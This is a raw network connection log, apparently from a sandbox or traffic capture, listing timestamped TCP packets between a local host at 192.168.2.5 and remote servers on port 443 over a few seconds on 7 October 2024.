Oct 7, 2024 06:44:38.543227911 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.543231010 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.545744896 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.545921087 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.545970917 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.546117067 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.546194077 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.546209097 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.546221018 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.546226978 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.548897982 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.548952103 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.549016953 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.549166918 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.549180984 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.607337952 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.607453108 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.607537031 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.607551098 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.607572079 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.607625008 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.607791901 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.607805967 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.607815981 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.607824087 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.610794067 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.610830069 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.610901117 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.611028910 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.611040115 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.641659021 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.641818047 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.641901016 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.641989946 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.642003059 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.642011881 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.642015934 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.644871950 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.644902945 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.644969940 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.645150900 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.645176888 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.793126106 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.793380022 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.793467045 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.793557882 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.793559074 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.793602943 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.793629885 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.796354055 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.796397924 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.796475887 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.796619892 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.796633005 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.947467089 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.948112011 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.948143005 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.948555946 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.948560953 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.046355009 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.046564102 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.046637058 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.046654940 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.046689987 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.046817064 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.046838999 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.046849012 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.046854973 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.049957991 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.049998045 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.050097942 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.050255060 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.050266981 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.185353041 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.186063051 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.186139107 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.186517954 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.186537027 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.251033068 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.251633883 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.251657009 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.252125978 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.252131939 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.285140038 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.285537958 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.285594940 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.285667896 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.285690069 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.285701990 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.285707951 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.288635969 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.288670063 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.288743973 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.288963079 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.288975954 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.295205116 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.295571089 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.295583010 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.296103954 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.296108961 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.352188110 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.352250099 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.352345943 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.352423906 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.352423906 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.352546930 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.352560997 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.352571964 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.352576971 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.355418921 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.355437994 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.355531931 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.355689049 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.355703115 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.396358013 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.396580935 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.396663904 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.396724939 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.396734953 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.396748066 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.396753073 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.399733067 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.399810076 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.399904966 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.400101900 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.400124073 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.460273981 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.461078882 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.461105108 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.461432934 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.461438894 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.677387953 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.677448988 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.677510023 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.677788019 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.677788019 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.677809000 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.677819014 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.680310965 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.680339098 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.680406094 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.680689096 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.680702925 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.863091946 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.863809109 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.863845110 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.864209890 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.864217043 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.946201086 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.946835995 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.946847916 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.947184086 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.947189093 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.962733030 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.962867022 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.963062048 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.963062048 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.965461016 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.965478897 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.965675116 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.965714931 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:39.965787888 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.965920925 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:39.965935946 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.000946999 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.001615047 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.001707077 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.001991034 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.002007008 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.045104980 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.045181990 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.045305967 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.045319080 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.045346022 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.045484066 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.045557976 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.045572042 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.045589924 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.045595884 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.048403025 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.048420906 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.048510075 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.048651934 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.048661947 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.070456028 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.071050882 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.071119070 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.071502924 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.071513891 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.101181030 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.101263046 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.101321936 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.101470947 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.101484060 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.101495981 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.101500034 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.104414940 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.104507923 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.104614019 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.104774952 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.104804993 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.173770905 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.173842907 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.173937082 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.173959017 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.173985958 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.174046040 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.174194098 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.174211979 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.174225092 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.174232006 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.177148104 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.177180052 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.177264929 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.177443027 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.177458048 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.315896034 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.316397905 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.316435099 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.317024946 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.317030907 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.415115118 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.415188074 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.415272951 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.415527105 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.415549040 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.415559053 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.415565014 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.418672085 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.418715954 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.418814898 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.418986082 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.418999910 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.455241919 CEST	443	49739	23.1.237.91	192.168.2.5
Oct 7, 2024 06:44:40.455357075 CEST	49739	443	192.168.2.5	23.1.237.91
Oct 7, 2024 06:44:40.596724987 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.597234011 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.597244024 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.597817898 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.597822905 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.683233976 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.683681011 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.683696032 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.684144974 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.684149027 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.695350885 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.695550919 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.695628881 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.698642015 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.698648930 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.698661089 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.698664904 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.701632023 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.701679945 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.701781034 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.701891899 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.701898098 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.749279022 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.749902964 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.749933958 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.750363111 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.750370979 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.783004045 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.783207893 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.783287048 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.783391953 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.783412933 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.783441067 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.783448935 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.786309004 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.786353111 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.786442995 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.786600113 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.786616087 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.848381996 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.848481894 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.848570108 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.848592997 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.848649025 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.848820925 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.848839998 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.848850012 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.848855019 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.851780891 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.851836920 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.851933956 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.852119923 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.852144957 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.857775927 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.858227015 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.858242035 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.858669043 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.858673096 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.962549925 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.962735891 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.962826967 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.962943077 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.962958097 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.962966919 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.962971926 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.966013908 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.966073036 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:40.966162920 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.966339111 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:40.966352940 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.052222013 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.052820921 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.052850008 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.053297043 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.053303003 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.151484966 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.151539087 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.151593924 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.151613951 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.151644945 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.151853085 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.151889086 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.151901960 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.151907921 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.154583931 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.154640913 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.154727936 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.154881001 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.154896975 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.368504047 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.370958090 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.370975971 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.371402025 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.371406078 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.422139883 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.422533989 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.422550917 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.423049927 CEST	49867	443	192.168.2.5	13.107.246.45
